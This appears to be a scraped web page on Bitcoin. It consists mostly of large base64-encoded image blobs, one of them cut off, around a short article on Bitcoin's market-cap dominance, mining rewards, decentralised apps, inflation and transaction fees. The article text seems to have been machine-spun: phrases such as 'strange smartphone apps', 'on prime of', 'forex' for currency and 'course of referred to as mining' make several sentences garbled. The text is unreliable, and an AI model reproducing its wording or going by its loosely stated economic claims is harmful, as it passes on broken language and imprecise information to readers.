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" width="304px" alt="btc worth"/></p>
<p>Except for a short period throughout 2017 and 2018 when the Altcoin craze was going on Bitcoin has at all times commanded no less than 50% of the whole market cap. Lately, that has risen to over 60% the place it has trended since mid-2019. The takeaway right here is that when the world turns to crypto Bitcoin is the first name they search. Other DApps include decentralised financial tools for prediction markets, cryptocurrency borrowing and lending, investing and crowd-funding. And decentralised blockchain-based mostly networks don’t just enable digital cash. Similar to strange smartphone apps, software program developers all over the world are constructing decentralised applications on prime of Bitcoin and different blockchain protocols. Bitocoin miners right now earn 6.25 bitcoins for each block mined, down from 50 bitcoins in the early years.</p>
<h2>Bitcoin</h2>
<p>Additionally, new bitcoins will proceed to be issued for decades to come. Therefore even essentially the most determined buyer couldn&#8217;t purchase all the bitcoins in existence. Although this concept is a popular method to justify inflation amongst central bankers, it doesn&#8217;t seem to all the time maintain true and is considered controversial amongst economists. Consumer electronics is one instance of a market where costs constantly fall however which isn&#8217;t in depression. Similarly, the value of bitcoins has risen over time and but the size of the Bitcoin economy has additionally grown dramatically along with it. Because both the value of the forex and the size of its economic system began at zero in 2009, Bitcoin is a counterexample to the speculation exhibiting that it must generally be mistaken. New bitcoins are generated by a competitive and decentralized course of referred to as &#8222;mining&#8220;. This process includes that people are rewarded by the community for their providers. Bitcoin miners are processing transactions and securing the network utilizing specialised hardware and are accumulating new bitcoins in exchange. Choose your own charges &#8211; There is not any payment to obtain bitcoins, and many wallets allow you to management how giant a fee to pay when spending.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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